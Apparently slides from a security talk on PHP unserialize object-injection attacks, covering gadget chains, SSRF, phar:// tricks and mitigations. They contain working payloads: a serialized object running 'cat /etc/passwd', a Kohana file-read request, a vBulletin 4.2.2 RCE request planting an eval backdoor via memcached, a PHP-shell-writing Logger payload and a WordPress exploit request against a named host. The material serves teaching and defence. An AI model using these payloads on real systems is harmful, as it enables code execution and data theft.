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PHP unserialize

Pavel Toporkov



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whoami

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- LC/BC CTF team member



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Unserialize

unserialize – Creates a PHP value from a stored representation

```
array("foo", "bar") ⇔  
a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}
```



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Unserialize

```
a:2:{s:1:"a";s:3:"foo";s:1:"b";0:7:"Process:1:{s:3:"pid";i:1337;}}
```

a:2:{...} - array with 2 elements

s:3:"foo" - string, 3 characters long

0:7:"Process:1:{...}" - object with 7 characters length classname and 1 field



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Unserialize

```
class Test {  
    public $pub;  
    protected $prot;  
    private $priv;  
}
```

```
0:4:"Test":{s:3:"pub";i:1;s:7:"\0*\0prot";i:2;s:  
10:"\0Test\0priv";i:3;}
```



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Why it insecure?

Magic methods can be executed after unserialization:

```
__wakeup()
```

```
__destruct()
```

```
__toString()
```

and so on...



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Vulnerable example

```
class A {  
    public $exitCmd;  
    public function __destruct(){  
        system($this->exitCmd);  
    }  
}  
unserialize($_GET['a']);
```

/a.php?a=0:1:"A":{s:7:"exitCmd";s:15:"cat /etc/passwd"}






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More complex example

```
<?php
class DBConnect {
    public function __destruct(){
        $this->db->close();
    }
}
class Process {
    public function close(){
        system("rm ${this->pidfile}.pid");
    }
}
```





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Kohana

```
public function __toString(){  
    try {  
        return $this->render();  
    } catch (Exception $e){ ... }  
}
```

```
protected static function  
capture($kohana_view_filename,  
array $kohana_view_data){  
    try {  
        include $kohana_view_filename;  
    } catch (Exception $e){ ... }  
}
```

```
public function render($file){  
    ...  
    View::capture($this->_file,  
$this->_data);  
}
```



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Kohana Pwning

```
POST /api.php HTTP/1.1
```

```
Host: hostname
```

```
Content-Length: ...
```

```
Content-Type: application/x-www-form-urlencoded
```

```
data=0:11:"Kohana_View":1:{s:8:"%00*%00_file";s:  
11:"/etc/passwd";}
```




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Composer

Composer helps you declare, manage and install dependencies of PHP projects, ensuring you have the right stack everywhere.

Actually it provide us a bunch of usable classes to build chains for unserialize exploiting. Just try to get size of your "vendor" directory.



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class autoloading

`__autoload` (deprecated)
`spl_autoload_register`



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serialized data

PHP serialized data is often used to store PHP objects in database.

- User sessions
- Application cache
- ...



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examples



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example#1

```
// script without class autoloading
$params = unserialize($_GET["params"]);
...
class User {
    public function save(){
        ...
        Database::query(
            "INSERT INTO users (sess, user) VALUES('$this->sessid',
            '%s') ON DUPLICATE KEY UPDATE user='%s'", array($user, $user));
        }
    public function __destruct(){
        if ($this->needSave) $this->save();
    }
}
```




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example#1

```
// main application
public static function load($sessid){
    ...
    $result = Database::query("SELECT user FROM users
WHERE sess='$sessid'");
    if ($result){
        return unserialize($result["user"]);
    } else return new User($sessid);
}
```

Now we can exploit another unserialize with more classes available.



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example#1

```
class Database {  
    public function __destruct(){  
        $this->db->close();  
    }  
}
```

```
class Engine {  
    public function __call($name, $params) {  
        ...  
        return $this->loader->load($name, $shared);  
    }  
}
```

```
class Loader {  
    public function load($name, $shared){  
        ...  
        list($class, $params, $callback) =  
            $this->classes[$name];  
        ...  
        $this->newInstance($class, $params);  
        ...  
    }  
    public function newInstance($class, $params) {  
        if (is_callable($class)) {  
            return call_user_func_array($class,  
                $params);  
        }  
    }  
}
```




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example#2

vBulletin 4.2.2 Remote Code Execution

<https://en.0day.today/exploit/24070>

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example#2

```
http://test.com/profile.php?do=updateprofilepic' -H  
'Cookie: bb_userid=2;  
bb_password=926944640049f505370a38250f22ae57' --data  
'do=updateprofilepic&securitytoken=1384776835-db8ce45ef2  
8d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:  
11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3  
A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset  
%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUES  
T%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D  
%0Aquit%0D%0A.png
```




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example#2

```
http://test.com/profile.php?do=updateprofilepic' -H  
'Cookie: bb_userid=2;  
bb_password=926944640049f505370a38250f22ae57' --data  
'do=updateprofilepic&securitytoken=1384776835-db8ce45ef2  
8d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:  
11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3  
A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset  
%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUES  
T%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D  
%0Aquit%0D%0A.png
```



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example#2

```
http://test.com/profile.php?do=updateprofilepic' -H  
'Cookie: bb_userid=2;  
bb_password=926944640049f505370a38250f22ae57' --data  
'do=updateprofilepic&securitytoken=1384776835-db8ce45ef2  
8d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:  
11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3  
A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset  
%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUES  
T%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D  
%0Aquit%0D%0A.png
```




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example#2

```
http://test.com/profile.php?do=updateprofilepic' -H  
'Cookie: bb_userid=2;  
bb_password=926944640049f505370a38250f22ae57' --data  
'do=updateprofilepic&securitytoken=1384776835-db8ce45ef2  
8d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:  
11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3  
A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset  
%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUES  
T%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D  
%0Aquit%0D%0A.png
```



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example#2

```
HEAD /
set pluginlist 0 0 96
a:1:{s:12:"global_start";s:62:"if(isset($_REQUEST['eval']))
{eval($_REQUEST['eval']);die();}";}
quit
.png HTTP/1.0
Host: localhost
User-Agent: vBulletin via PHP
Connection: close
```




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tricks

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trick#0

PHPGGC: PHP Generic Gadget Chains

PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically.

<https://github.com/ambionics/phpggc>



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trick#1

SSRF

```
0:10:"SoapClient":3:{s:3:"uri";s:18:"http://hostname/3%0a1";s:8:"location";s:23:"http://hostname/123";s:13:"_soap_version";i:1;}
```

1. <https://www.youtube.com/watch?v=5AdVQzUB6iM>
2. <http://raz0r.name/talks/confidence-2013-php-object-injection-revisited/>



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trick#2

PHP method names are case insensitive

```
class Connection {  
    function __destruct(){  
        $this->socket->close();  
    }  
}  
  
class Process {  
    function Close(){  
        system("kill -p9 ".$this->pid);  
    }  
}
```




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trick#2

Remember about inheritance and built-in interfaces

```
class Obj implements ArrayAccess {  
    public $ext = ".txt";  
    public function offsetGet($offset) {  
        return file_get_contents($offset.$this->ext);  
    }  
}
```

```
$a = unserialize($_GET["a"]);  
echo $a["b"];
```



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trick#3

Unserialize supports references

<http://php.net/manual/en/language.references.php>

References in PHP are a means to access the same variable content by different names.



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trick#3

```
class Logger {  
    function __destruct(){  
        if ($this->level = 0)  
            $this->filename = "debug.log";  
        else  
            $this->filename = "access.log";  
        $this->out = date(DATE_RFC822)." : ".$this->msg;  
        file_put_contents($this->filename, $this->out);  
    }  
}
```



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trick#3

```
class Logger {  
    function __destruct(){  
        if ($this->level = 0)  
            $this->filename = "debug.log";  
        else  
            $this->filename = "access.log";  
        $this->out = date(DATE_RFC822)." : ".$this->msg;  
        file_put_contents($this->filename, $this->out);  
    }  
}
```

```
0:6:"Logger":3:{s:8:"filename";i:0;s:3:"out";R:2;s:3:"msg";s:9:  
"/<?php...?>/../..../s.php";}
```




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trick#4

There is additional magic methods in PHP default interfaces like ArrayAccess, ArrayIterator, Serializable

- offsetGet()
- offsetSet()
- current()



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trick#5

File Operation Induced Unserialization via the
"phar://" Stream Wrapper

Sam Thomas

<https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf>



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trick#5

Phar

<http://php.net/manual/en/intro.phar.php>

Phar archives are similar in concept to Java JAR archives, but are tailored to the needs and to the flexibility of PHP applications.

Phar = stub + manifest + content + signature



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trick#5

Size in bytes	Description
4 bytes	Length of manifest in bytes (1 MB limit)
4 bytes	Number of files in the Phar
2 bytes	API version of the Phar manifest (currently 1.0.0)
4 bytes	Global Phar bitmapped flags
4 bytes	Length of Phar alias
??	Phar alias (length based on previous)
4 bytes	Length of Phar metadata (0 for none)
??	Serialized Phar Meta-data, stored in <code>serialize()</code> format
24 * n	entries for each file



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trick#5

Size in bytes	Description
4 bytes	Length of manifest in bytes (1 MB limit)
4 bytes	Number of files in the Phar
2 bytes	API version of the Phar manifest (currently 1.0.0)
4 bytes	Global Phar bitmapped flags
4 bytes	Length of Phar alias
??	Phar alias (length based on previous)
4 bytes	Length of Phar metadata (0 for none)
??	Serialized Phar Meta-data, stored in <u>serialize()</u> format
24 * n	entries for each file



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trick#5

- PHP executes only `__destruct` and `__wakeup` on deserialized object
- `__destruct` method executes in "/" working directory context



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trick#5

Functions to trigger the deserialization:

- file_exists
 - getimagesize
 - is_file
 - is_dir
 - is_readable
 - is_writable
- and more...



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trick#5

By inserting data into the stub we can fake most file formats

```
$p = new Phar('./deser.phar', 0);  
$p['file.txt'] = 'test';  
$p->setMetadata(new VulnerableClass());  
$p->setStub('GIF89a');
```




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bonus



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example#1337

<https://2018.zeronights.ru/>

Wordpress 4.9.8 (latest)

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 2018.zeronights.ru
Content-Length: 2679
Origin: https://2018.zeronights.ru
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
```

```
action=pagination_loadmore&query=a%3A64%3A%7Bs%3A13%3A%22category_name%22%3Bs%3A4%3A%22news%22%3Bs%3A5%3A%22error%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22m%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22p%22%3Bi%3A0%3Bs%3A11%3A%22post_parent%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22subpost%22%3Bs%3A0%3A%22%22%3Bs%3A10%3A%22subpost_id%22%3Bs%3A0%3A%22%22%3Bs%3A10%3A%22attachment%22%3Bs%3A0%3A%22%
```




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example#1337

```
$args = unserialize( stripslashes(  
    $_POST['query'] ) );
```

```
$args['paged'] = $_POST['page'] + 1;  
$args['post_status'] = 'publish';
```

```
query_posts( $args );
```



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example#1337

```
$q = &$this->query_vars;  
if ( ! empty( $q['sentence'] ) ) {  
    $q['search_terms'] = array( $q['s'] );  
} else {  
    if ( preg_match_all( '/<regex>/', $q['s'],  
$matches ) ) {  
        $q['search_terms'] =  
$this->parse_search_terms( $matches[0] );  
    } else {  
        $q['search_terms'] = array( $q['s'] );  
    }  
}  
$q['search_orderby_title'] = array();  
foreach ( $q['search_terms'] as $term ) {...}
```




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example#1337

```
$q = &$this->query_vars;  
if ( ! empty( $q['sentence'] ) ) {  
    $q['search_terms'] = array( $q['s'] );  
} else {  
    if ( preg_match_all( '/<regex>/', $q['s'],  
$matches ) ) {  
        $q['search_terms'] =  
$this->parse_search_terms( $matches[0] );  
    } else {  
        $q['search_terms'] = array( $q['s'] );  
    }  
}  
$q['search_orderby_title'] = array();  
foreach ( $q['search_terms'] as $term ) {...}
```



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example#1337

```
class Requests_Utility_FilteredIterator extends  
ArrayIterator {  
    ...  
    public function current() {  
        $value = parent::current();  
        $value = call_user_func($this->callback, $value);  
        return $value;  
    }  
}
```




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example#1337

```
$q = &$this->query_vars;  
if ( ! empty( $q['sentence'] ) ) {  
    $q['search_terms'] = array( $q['s'] );  
} else {  
    if ( preg_match_all( '/<regex>/', $q['s'],  
$matches ) ) {  
        $q['search_terms'] =  
$this->parse_search_terms( $matches[0] );  
    } else {  
        $q['search_terms'] = array( $q['s'] );  
    }  
}  
$q['search_orderby_title'] = array();  
foreach ( $q['search_terms'] as $term ) {...}
```



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example#1337

```
class WP_REST_Request implements ArrayAccess {  
    public function offsetGet( $offset ) {  
        return $this->get_param( $offset );  
    }  
  
    public function get_param( $key ) {  
        $order = $this->get_parameter_order();  
        foreach ( $order as $type ) {  
            if ( isset( $this->params[ $type ][ $key ] ) ) {  
                return $this->params[ $type ][ $key ];  
            }  
        }  
        return null;  
    }  
}
```




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example#1337

```
class WP_REST_Request implements ArrayAccess {  
    public function offsetSet( $offset, $value ) {  
        $this->set_param( $offset, $value );  
    }  
  
    public function set_param( $key, $value ) {  
        $order = $this->get_parameter_order();  
        $this->params[ $order[0] ][ $key ] = $value;  
    }  
}
```



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example#1337

```
class WP_REST_Request implements ArrayAccess {
    function get_parameter_order(){
        $content_type = $this->get_content_type();
        if ($content_type['value'] ===
            'application/json'){
            $order[] = 'JSON';
        }
        $order[] = 'GET';
        $order[] = 'URL';
        $order[] = 'defaults';
        return $order;
    }

    function get_content_type() {
        $value = $this->get_header(
            'content-type');
        ...
        return $value;
    }

    function get_headers() {
        return $this->headers;
    }
}
```




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example#1337

```
$q = &$this->query_vars;  
if ( ! empty( $q['sentence'] ) ) {  
    $q['search_terms'] = array( $q['s'] );  
} else {  
    if ( preg_match_all( '/<regex>/', $q['s'],  
$matches ) ) {  
        $q['search_terms'] =  
$this->parse_search_terms( $matches[0] );  
    } else {  
        $q['search_terms'] = array( $q['s'] );  
    }  
}  
$q['search_orderby_title'] = array();  
foreach ( $q['search_terms'] as $term ) {...}
```

```
WP_REST_Request instance {  
  params = [  
    ["JSON" => [  
      "sentence" => ",,"],  
    ["GET" => [  
      "search_terms"=>$pld]]  
  ]  
  headers = [  
    "content_type" =>  
    "application/json"  
  ]  
}
```

ref



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example#1337

```
$q = &$this->query_vars;  
if ( ! empty( $q['sentence'] ) ) {  
    $q['search_terms'] = array( $q['s'] );  
} else {  
    if ( preg_match_all( '/<regex>/', $q['s'],  
$matches ) ) {  
        $q['search_terms'] =  
$this->parse_search_terms( $matches[0] );  
    } else {  
        $q['search_terms'] = array( $q['s'] );  
    }  
}  
$q['search_orderby_title'] = array();  
foreach ( $q['search_terms'] as $term ) { ... }
```

```
WP_REST_Request instance {  
  params = [  
    ["JSON" => [  
      "sentence" => ",,"],  
    ["GET" => [  
      "search_terms"=>$p1d]]  
  ]  
  headers = [  
    "content_type" =>  
    "application/json"  
  ]  
}
```




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example#1337

Fortunately application has input object type validation

```
function wp_parse_args( $args, $defaults = '' ) {  
    if ( is_object( $args ) )  
        $r = get_object_vars( $args );  
    elseif ( is_array( $args ) )  
        $r =& $args;  
    else wp_parse_str( $args, $r );  
    ...  
    return $r;  
}
```



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mitigation

1. Use simple serialization formats (e.g. json)
2. PHP7 unserialize function has an additional argument "options"

`allowed_classes` - Either an array of class names which should be accepted, `FALSE` to accept no classes, or `TRUE` to accept all classes.

```
unserialize($string, ['allowed_classes' => false]);
```



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questions?



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